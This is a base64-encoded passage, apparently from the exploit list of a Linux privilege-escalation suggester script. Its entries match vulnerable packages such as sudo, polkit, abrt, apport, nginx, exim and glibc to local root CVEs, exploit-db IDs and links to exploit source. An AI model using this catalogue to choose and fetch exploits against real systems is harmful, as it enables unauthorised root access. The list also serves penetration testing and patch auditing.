zdH0gdWRldgpSZXFzOiBwa2c9dWRldix2ZXI8MTQxLGNtZDpbWyAtZiAvZXRjL3VkZXYvcnVsZXMuZC85NS11ZGV2LWxhdGUucnVsZXMgfHwgLWYgL2xpYi91ZGV2L3J1bGVzLmQvOTUtdWRldi1sYXRlLnJ1bGVzIF1dClRhZ3M6IHVidW50dT04LjEwfDkuMDQKUmFuazogMQpleHBsb2l0LWRiOiA4NTcyCkNvbW1lbnRzOiBWZXJzaW9uPDEuNC4xIHZ1bG5lcmFibGUgYnV0IGRpc3Ryb3MgdXNlIG93biB2ZXJzaW9uaW5nIHNjaGVtZS4gTWFudWFsIHZlcmlmaWNhdGlvbiBuZWVkZWQgCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTExODVdJHt0eHRyc3R9IHVkZXYgMgpSZXFzOiBwa2c9dWRldix2ZXI8MTQxClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogODQ3OApDb21tZW50czogU1NIIGFjY2VzcyB0byBub24gcHJpdmlsZWdlZCB1c2VyIGlzIG5lZWRlZC4gVmVyc2lvbjwxLjQuMSB2dWxuZXJhYmxlIGJ1dCBkaXN0cm9zIHVzZSBvd24gdmVyc2lvbmluZyBzY2hlbWUuIE1hbnVhbCB2ZXJpZmljYXRpb24gbmVlZGVkCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEwLTA4MzJdJHt0eHRyc3R9IFBBTSBNT1REClJlcXM6IHBrZz1saWJwYW0tbW9kdWxlcyx2ZXI8PTEuMS4xClRhZ3M6IHVidW50dT05LjEwfDEwLjA0ClJhbms6IDEKZXhwbG9pdC1kYjogMTQzMzkKQ29tbWVudHM6IFNTSCBhY2Nlc3MgdG8gbm9uIHByaXZpbGVnZWQgdXNlciBpcyBuZWVkZWQKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTAtNDE3MF0ke3R4dHJzdH0gU3lzdGVtVGFwClJlcXM6IHBrZz1zeXN0ZW10YXAsdmVyPD0xLjMKVGFnczogUkhFTD01e3N5c3RlbXRhcDoxLjEtMy5lbDV9LGZlZG9yYT0xM3tzeXN0ZW10YXA6MS4yLTEuZmMxM30KUmFuazogMQphdXRob3I6IFRhdmlzIE9ybWFuZHkKZXhwbG9pdC1kYjogMTU2MjAKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTEtMTQ4NV0ke3R4dHJzdH0gcGtleGVjClJlcXM6IHBrZz1wb2xraXQsdmVyPTAuOTYKVGFnczogUkhFTD02LHVidW50dT0xMC4wNHwxMC4xMApSYW5rOiAxCmV4cGxvaXQtZGI6IDE3OTQyCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDExLTI5MjFdJHt0eHRyc3R9IGt0c3VzcwpSZXFzOiBwa2c9a3RzdXNzLHZlcjw9MS40ClRhZ3M6IHNwYXJreT01fDYKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxMS8wOC8xMy8yCnNyYy11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iY29sZXMvbG9jYWwtZXhwbG9pdHMvbWFzdGVyL0NWRS0yMDExLTI5MjEva3RzdXNzLWxwZS5zaApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMi0wODA5XSR7dHh0cnN0fSBkZWF0aF9zdGFyIChzdWRvKQpSZXFzOiBwa2c9c3Vkbyx2ZXI+PTEuOC4wLHZlcjw9MS44LjMKVGFnczogZmVkb3JhPTE2IApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3NlY2xpc3RzLm9yZy9mdWxsZGlzY2xvc3VyZS8yMDEyL0phbi9hdHQtNTkwL2Fkdmlzb3J5X3N1ZG8udHh0CmV4cGxvaXQtZGI6IDE4NDM2CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTA0NzZdJHt0eHRyc3R9IGNoa3Jvb3RraXQKUmVxczogcGtnPWNoa3Jvb3RraXQsdmVyPDAuNTAKVGFnczogClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vc2VjbGlzdHMub3JnL29zcy1zZWMvMjAxNC9xMi80MzAKZXhwbG9pdC1kYjogMzM4OTkKQ29tbWVudHM6IFJvb3RpbmcgZGVwZW5kcyBvbiB0aGUgY3JvbnRhYiAodXAgdG8gb25lIGRheSBvZiBkZWxheSkKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtNTExOV0ke3R4dHJzdH0gX19nY29udl90cmFuc2xpdF9maW5kClJlcXM6IHBrZz1nbGliY3xsaWJjNix4ODYKVGFnczogZGViaWFuPTYKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9nb29nbGVwcm9qZWN0emVyby5ibG9nc3BvdC5jb20vMjAxNC8wOC90aGUtcG9pc29uZWQtbnVsLWJ5dGUtMjAxNC1lZGl0aW9uLmh0bWwKc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL29mZmVuc2l2ZS1zZWN1cml0eS9leHBsb2l0LWRhdGFiYXNlLWJpbi1zcGxvaXRzL3Jhdy9tYXN0ZXIvYmluLXNwbG9pdHMvMzQ0MjEudGFyLmd6CmV4cGxvaXQtZGI6IDM0NDIxCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTE4NjJdJHt0eHRyc3R9IG5ld3BpZCAoYWJydCkKUmVxczogcGtnPWFicnQsY21kOmdyZXAgLXFpIGFicnQgL3Byb2Mvc3lzL2tlcm5lbC9jb3JlX3BhdHRlcm4KVGFnczogZmVkb3JhPTIwClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vb3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDE1LzA0LzE0LzQKc3JjLXVybDogaHR0cHM6Ly9naXN0LmdpdGh1YnVzZXJjb250ZW50LmNvbS90YXZpc28vMGYwMmMyNTVjMTNjNWMxMTM0MDYvcmF3L2VhZmFjNzhkY2U1MTMyOWIwM2JlYTcxNjdmMTI3MTcxOGJlZTRkY2MvbmV3cGlkLmMKZXhwbG9pdC1kYjogMzY3NDYKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtMzMxNV0ke3R4dHJzdH0gcmFjZWFicnQKUmVxczogcGtnPWFicnQsY21kOmdyZXAgLXFpIGFicnQgL3Byb2Mvc3lzL2tlcm5lbC9jb3JlX3BhdHRlcm4KVGFnczogZmVkb3JhPTE5e2FicnQ6Mi4xLjUtMS5mYzE5fSxmZWRvcmE9MjB7YWJydDoyLjIuMi0yLmZjMjB9LGZlZG9yYT0yMXthYnJ0OjIuMy4wLTMuZmMyMX0sUkhFTD03e2FicnQ6Mi4xLjExLTEyLmVsN30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9zZWNsaXN0cy5vcmcvb3NzLXNlYy8yMDE1L3EyLzEzMApzcmMtdXJsOiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3Rhdmlzby9mZTM1OTAwNjgzNmQ2Y2QxMDkxZS9yYXcvMzJmZTg0ODFjNDM0ZjhjYWQ1YmNmODUyOTc4OTIzMTYyN2U1MDc0Yy9yYWNlYWJydC5jCmV4cGxvaXQtZGI6IDM2NzQ3CmF1dGhvcjogVGF2aXMgT3JtYW5keQpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS0xMzE4XSR7dHh0cnN0fSBuZXdwaWQgKGFwcG9ydCkKUmVxczogcGtnPWFwcG9ydCx2ZXI+PTIuMTMsdmVyPD0yLjE3LGNtZDpncmVwIC1xaSBhcHBvcnQgL3Byb2Mvc3lzL2tlcm5lbC9jb3JlX3BhdHRlcm4KVGFnczogdWJ1bnR1PTE0LjA0ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vb3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDE1LzA0LzE0LzQKc3JjLXVybDogaHR0cHM6Ly9naXN0LmdpdGh1YnVzZXJjb250ZW50LmNvbS90YXZpc28vMGYwMmMyNTVjMTNjNWMxMTM0MDYvcmF3L2VhZmFjNzhkY2U1MTMyOWIwM2JlYTcxNjdmMTI3MTcxOGJlZTRkY2MvbmV3cGlkLmMKZXhwbG9pdC1kYjogMzY3NDYKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtMTMxOF0ke3R4dHJzdH0gbmV3cGlkIChhcHBvcnQpIDIKUmVxczogcGtnPWFwcG9ydCx2ZXI+PTIuMTMsdmVyPD0yLjE3LGNtZDpncmVwIC1xaSBhcHBvcnQgL3Byb2Mvc3lzL2tlcm5lbC9jb3JlX3BhdHRlcm4KVGFnczogdWJ1bnR1PTE0LjA0LjIKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTUvMDQvMTQvNApleHBsb2l0LWRiOiAzNjc4MgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS0zMjAyXSR7dHh0cnN0fSBmdXNlIChmdXNlcm1vdW50KQpSZXFzOiBwa2c9ZnVzZSx2ZXI8Mi45LjMKVGFnczogZGViaWFuPTcuMHw4LjAsdWJ1bnR1PSoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9zZWNsaXN0cy5vcmcvb3NzLXNlYy8yMDE1L3EyLzUyMApleHBsb2l0LWRiOiAzNzA4OQpDb21tZW50czogTmVlZHMgY3JvbiBvciBzeXN0ZW0gYWRtaW4gaW50ZXJhY3Rpb24KRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtMTgxNV0ke3R4dHJzdH0gc2V0cm91Ymxlc2hvb3QKUmVxczogcGtnPXNldHJvdWJsZXNob290LHZlcjwzLjIuMjIKVGFnczogZmVkb3JhPTIxClJhbms6IDEKZXhwbG9pdC1kYjogMzY1NjQKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtMzI0Nl0ke3R4dHJzdH0gdXNlcmhlbHBlcgpSZXFzOiBwa2c9bGlidXNlcix2ZXI8PTAuNjAKVGFnczogUkhFTD02e2xpYnVzZXI6MC41Ni4xMy0oNHw1KS5lbDZ9LFJIRUw9NntsaWJ1c2VyOjAuNjAtNS5lbDd9LGZlZG9yYT0xM3wxOXwyMHwyMXwyMgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE1LzA3LzIzL2N2ZS0yMDE1LTMyNDUtY3ZlLTIwMTUtMzI0Ni9jdmUtMjAxNS0zMjQ1LWN2ZS0yMDE1LTMyNDYudHh0IApleHBsb2l0LWRiOiAzNzcwNgpDb21tZW50czogUkhFTCA1IGlzIGFsc28gdnVsbmVyYWJsZSwgYnV0IGluc3RhbGxlZCB2ZXJzaW9uIG9mIGdsaWJjICgyLjUpIGxhY2tzIGZ1bmN0aW9ucyBuZWVkZWQgYnkgcm9vdGhlbHBlci5jCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTUyODddJHt0eHRyc3R9IGFicnQvc29zcmVwb3J0LXJoZWw3ClJlcXM6IHBrZz1hYnJ0LGNtZDpncmVwIC1xaSBhYnJ0IC9wcm9jL3N5cy9rZXJuZWwvY29yZV9wYXR0ZXJuClRhZ3M6IFJIRUw9N3thYnJ0OjIuMS4xMS0xMi5lbDd9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTUvMTIvMDEvMQpzcmMtdXJsOiBodHRwczovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTUvMTIvMDEvMS8xCmV4cGxvaXQtZGI6IDM4ODMyCmF1dGhvcjogcmViZWwKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtNjU2NV0ke3R4dHJzdH0gbm90X2FuX3NzaG51a2UKUmVxczogcGtnPW9wZW5zc2gtc2VydmVyLHZlcj49Ni44LHZlcjw9Ni45ClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNy8wMS8yNi8yCmV4cGxvaXQtZGI6IDQxMTczCmF1dGhvcjogRmVkZXJpY28gQmVudG8KQ29tbWVudHM6IE5lZWRzIGFkbWluIGludGVyYWN0aW9uIChyb290IHVzZXIgbmVlZHMgdG8gbG9naW4gdmlhIHNzaCB0byB0cmlnZ2VyIGV4cGxvaXRhdGlvbikKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtODYxMl0ke3R4dHJzdH0gYmx1ZW1hbiBzZXRfZGhjcF9oYW5kbGVyIGQtYnVzIHByaXZlc2MKUmVxczogcGtnPWJsdWVtYW4sdmVyPDIuMC4zClRhZ3M6IGRlYmlhbj04e2JsdWVtYW46MS4yM30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vdHdpdHRlci5jb20vdGhlZ3J1Z3Evc3RhdHVzLzY3NzgwOTUyNzg4MjgxMzQ0MApleHBsb2l0LWRiOiA0NjE4NgphdXRob3I6IFNlYmFzdGlhbiBLcmFobWVyCkNvbW1lbnRzOiBEaXN0cm9zIHVzZSBvd24gdmVyc2lvbmluZyBzY2hlbWUuIE1hbnVhbCB2ZXJpZmljYXRpb24gbmVlZGVkLgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi0xMjQwXSR7dHh0cnN0fSB0b21jYXQtcm9vdHByaXZlc2MtZGViLnNoClJlcXM6IHBrZz10b21jYXQKVGFnczogZGViaWFuPTgsdWJ1bnR1PTE2LjA0ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2xlZ2FsaGFja2Vycy5jb20vYWR2aXNvcmllcy9Ub21jYXQtRGViUGtncy1Sb290LVByaXZpbGVnZS1Fc2NhbGF0aW9uLUV4cGxvaXQtQ1ZFLTIwMTYtMTI0MC5odG1sCnNyYy11cmw6IGh0dHA6Ly9sZWdhbGhhY2tlcnMuY29tL2V4cGxvaXRzL3RvbWNhdC1yb290cHJpdmVzYy1kZWIuc2gKZXhwbG9pdC1kYjogNDA0NTAKYXV0aG9yOiBEYXdpZCBHb2x1bnNraQpDb21tZW50czogQWZmZWN0cyBvbmx5IERlYmlhbi1iYXNlZCBkaXN0cm9zCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTEyNDddJHt0eHRyc3R9IG5naW54ZWQtcm9vdC5zaApSZXFzOiBwa2c9bmdpbnh8bmdpbngtZnVsbCx2ZXI8MS4xMC4zClRhZ3M6IGRlYmlhbj04LHVidW50dT0xNC4wNHwxNi4wNHwxNi4xMApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9sZWdhbGhhY2tlcnMuY29tL2Fkdmlzb3JpZXMvTmdpbngtRXhwbG9pdC1EZWItUm9vdC1Qcml2RXNjLUNWRS0yMDE2LTEyNDcuaHRtbApzcmMtdXJsOiBodHRwczovL2xlZ2FsaGFja2Vycy5jb20vZXhwbG9pdHMvQ1ZFLTIwMTYtMTI0Ny9uZ2lueGVkLXJvb3Quc2gKZXhwbG9pdC1kYjogNDA3NjgKYXV0aG9yOiBEYXdpZCBHb2x1bnNraQpDb21tZW50czogUm9vdGluZyBkZXBlbmRzIG9uIGNyb24uZGFpbHkgKHVwIHRvIDI0aCBvZiBkZWxheSkuIEFmZmVjdGVkOiBkZWI4OiA8MS42LjI7IDE0LjA0OiA8MS40LjY7IDE2LjA0OiAxLjEwLjA7IGdlbnRvbzogPDEuMTAuMi1yMwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi0xNTMxXSR7dHh0cnN0fSBwZXJsX3N0YXJ0dXAgKGV4aW0pClJlcXM6IHBrZz1leGltLHZlcjw0Ljg2LjIKVGFnczogClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3LmV4aW0ub3JnL3N0YXRpYy9kb2MvQ1ZFLTIwMTYtMTUzMS50eHQKZXhwbG9pdC1kYjogMzk1NDkKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtMTUzMV0ke3R4dHJzdH0gcGVybF9zdGFydHVwIChleGltKSAyClJlcXM6IHBrZz1leGltLHZlcjw0Ljg2LjIKVGFnczogClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3LmV4aW0ub3JnL3N0YXRpYy9kb2MvQ1ZFLTIwMTYtMTUzMS50eHQKZXhwbG9pdC1kYjogMzk1MzUKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtNDk4OV0ke3R4dHJzdH0gc2V0cm91Ymxlc2hvb3QgMgpSZXFzOiBwa2c9c2V0cm91Ymxlc2hvb3QKVGFnczogUkhFTD02fDcKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vYy1za2lsbHMuYmxvZ3Nwb3QuY29tLzIwMTYvMDYvbGV0cy1mZWVkLWF0dGFja2VyLWlucHV0LXRvLXNoLWMtdG8tc2VlLmh0bWwKc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL3N0ZWFsdGgvdHJvdWJsZXNob290ZXIvcmF3L21hc3Rlci9zdHJhaWdodC1zaG9vdGVyLmMKZXhwbG9pdC1kYjoKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtNTQyNV0ke3R4dHJzdH0gdG9tY2F0LVJILXJvb3Quc2gKUmVxczogcGtnPXRvbWNhdApUYWdzOiBSSEVMPTcKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9sZWdhbGhhY2tlcnMuY29tL2Fkdmlzb3JpZXMvVG9tY2F0LVJlZEhhdC1Qa2dzLVJvb3QtUHJpdkVzYy1FeHBsb2l0LUNWRS0yMDE2LTU0MjUuaHRtbApzcmMtdXJsOiBodHRwOi8vbGVnYWxoYWNrZXJzLmNvbS9leHBsb2l0cy90b21jYXQtUkgtcm9vdC5zaApleHBsb2l0LWRiOiA0MDQ4OAphdXRob3I6IERhd2lkIEdvbHVuc2tpCkNvbW1lbnRzOiBBZmZlY3RzIG9ubHkgUmVkSGF0LWJhc2VkIGRpc3Ryb3MKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtNjY2MyxDVkUtMjAxNi02NjY0fENWRS0yMDE2LTY2NjJdJHt0eHRyc3R9IG15c3FsLWV4cGxvaXQtY2hhaW4KUmVxczogcGtnPW15c3FsLXNlcnZlcnxtYXJpYWRiLXNlcnZlcix2ZXI8NS41LjUyClRhZ3M6IHVidW50dT0xNi4wNC4xClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2xlZ2FsaGFja2Vycy5jb20vYWR2aXNvcmllcy9NeVNRTC1NYXJpYS1QZXJjb25hLVByaXZFc2NSYWNlLUNWRS0yMDE2LTY2NjMtNTYxNi1FeHBsb2l0Lmh0bWwKc3JjLXVybDogaHR0cDovL2xlZ2FsaGFja2Vycy5jb20vZXhwbG9pdHMvQ1ZFLTIwMTYtNjY2My9teXNxbC1wcml2ZXNjLXJhY2UuYwpleHBsb2l0LWRiOiA0MDY3OAphdXRob3I6IERhd2lkIEdvbHVuc2tpCkNvbW1lbnRzOiBBbHNvIE1hcmlhREIgdmVyPDEwLjEuMTggYW5kIHZlcjwxMC4wLjI4IGFmZmVjdGVkCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTk1NjZdJHt0eHRyc3R9IG5hZ2lvcy1yb290LXByaXZlc2MKUmVxczogcGtnPW5hZ2lvcyx2ZXI8NC4yLjQKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vbGVnYWxoYWNrZXJzLmNvbS9hZHZpc29yaWVzL05hZ2lvcy1FeHBsb2l0LVJvb3QtUHJpdkVzYy1DVkUtMjAxNi05NTY2Lmh0bWwKc3JjLXVybDogaHR0cHM6Ly9sZWdhbGhhY2tlcnMuY29tL2V4cGxvaXRzL0NWRS0yMDE2LTk1NjYvbmFnaW9zLXJvb3QtcHJpdmVzYy5zaApleHBsb2l0LWRiOiA0MDkyMQphdXRob3I6IERhd2lkIEdvbHVuc2tpCkNvbW1lbnRzOiBBbGxvd3MgcHJpdiBlc2NhbGF0aW9uIGZyb20gbmFnaW9zIHVzZXIgb3IgbmFnaW9zIGdyb3VwCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTAzNThdJHt0eHRyc3R9IG50ZnMtM2ctbW9kcHJvYmUKUmVxczogcGtnPW50ZnMtM2csdmVyPDIwMTcuNApUYWdzOiB1YnVudHU9MTYuMDR7bnRmcy0zZzoyMDE1LjMuMTRBUi4xLTFidWlsZDF9LGRlYmlhbj03LjB7bnRmcy0zZzoyMDEyLjEuMTVBUi41LTIuMStkZWI3dTJ9LGRlYmlhbj04LjB7bnRmcy0zZzoyMDE0LjIuMTVBUi4yLTErZGViOHUyfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9idWdzLmNocm9taXVtLm9yZy9wL3Byb2plY3QtemVyby9pc3N1ZXMvZGV0YWlsP2lkPTEwNzIKc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL29mZmVuc2l2ZS1zZWN1cml0eS9leHBsb2l0LWRhdGFiYXNlLWJpbi1zcGxvaXRzL3Jhdy9tYXN0ZXIvYmluLXNwbG9pdHMvNDEzNTYuemlwCmV4cGxvaXQtZGI6IDQxMzU2CmF1dGhvcjogSmFubiBIb3JuCkNvbW1lbnRzOiBEaXN0cm9zIHVzZSBvd24gdmVyc2lvbmluZyBzY2hlbWUuIE1hbnVhbCB2ZXJpZmljYXRpb24gbmVlZGVkLiBMaW51eCBoZWFkZXJzIG11c3QgYmUgaW5zdGFsbGVkLiBTeXN0ZW0gbXVzdCBoYXZlIGF0IGxlYXN0IHR3byBDUFUgY29yZXMuCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTU4OTldJHt0eHRyc3R9IHMtbmFpbC1wcml2Z2V0ClJlcXM6IHBrZz1zLW5haWwsdmVyPDE0LjguMTYKVGFnczogdWJ1bnR1PTE2LjA0LG1hbmphcm89MTYuMTAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNy8wMS8yNy83CnNyYy11cmw6IGh0dHBzOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNy8wMS8yNy83LzEKZXh0LXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Jjb2xlcy9sb2NhbC1leHBsb2l0cy9tYXN0ZXIvQ1ZFLTIwMTctNTg5OS9leHBsb2l0LnNoCmF1dGhvcjogd2FwaWZsYXBpIChvcmdpbmFsIGV4cGxvaXQgYXV0aG9yKTsgQnJlbmRhbiBDb2xlcyAoYXV0aG9yIG9mIGV4cGxvaXQgdXBkYXRlIGF0ICdleHQtdXJsJykKQ29tbWVudHM6IERpc3Ryb3MgdXNlIG93biB2ZXJzaW9uaW5nIHNjaGVtZS4gTWFudWFsIHZlcmlmaWNhdGlvbiBuZWVkZWQuCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTEwMDAzNjddJHt0eHRyc3R9IFN1ZG9lci10by1yb290ClJlcXM6IHBrZz1zdWRvLHZlcjw9MS44LjIwLGNtZDpbIC1mIC91c3Ivc2Jpbi9nZXRlbmZvcmNlIF0KVGFnczogUkhFTD03e3N1ZG86MS44LjZwN30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnN1ZG8ud3MvYWxlcnRzL2xpbnV4X3R0eS5odG1sCnNyYy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wNS8zMC9jdmUtMjAxNy0xMDAwMzY3L2xpbnV4X3N1ZG9fY3ZlLTIwMTctMTAwMDM2Ny5jCmV4cGxvaXQtZGI6IDQyMTgzCmF1dGhvcjogUXVhbHlzCkNvbW1lbnRzOiBOZWVkcyB0byBiZSBzdWRvZXIuIFdvcmtzIG9ubHkgb24gU0VMaW51eCBlbmFibGVkIHN5c3RlbXMKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMTAwMDM2N10ke3R4dHJzdH0gc3Vkb3B3bgpSZXFzOiBwa2c9c3Vkbyx2ZXI8PTEuOC4yMCxjbWQ6WyAtZiAvdXNyL3NiaW4vZ2V0ZW5mb3JjZSBdClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5zdWRvLndzL2FsZXJ0cy9saW51eF90dHkuaHRtbApzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYzBkM3ozcjAvc3Vkby1DVkUtMjAxNy0xMDAwMzY3L21hc3Rlci9zdWRvcHduLmMKZXhwbG9pdC1kYjoKYXV0aG9yOiBjMGQzejNyMApDb21tZW50czogTmVlZHMgdG8gYmUgc3Vkb2VyLiBXb3JrcyBvbmx5IG9uIFNFTGludXggZW5hYmxlZCBzeXN0ZW1zCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTEwMDAzNjYsQ1ZFLTIwMTctMTAwMDM3MF0ke3R4dHJzdH0gbGludXhfbGRzb19od2NhcApSZXFzOiBwa2c9Z2xpYmN8bGliYzYsdmVyPD0yLjI1LHg4NgpUYWdzOgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA2LzE5L3N0YWNrLWNsYXNoL3N0YWNrLWNsYXNoLnR4dApzcmMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTcvMDYvMTkvc3RhY2stY2xhc2gvbGludXhfbGRzb19od2NhcC5jCmV4cGxvaXQtZGI6IDQyMjc0CmF1dGhvcjogUXVhbHlzCkNvbW1lbnRzOiBVc2VzICJTdGFjayBDbGFzaCIgdGVjaG5pcX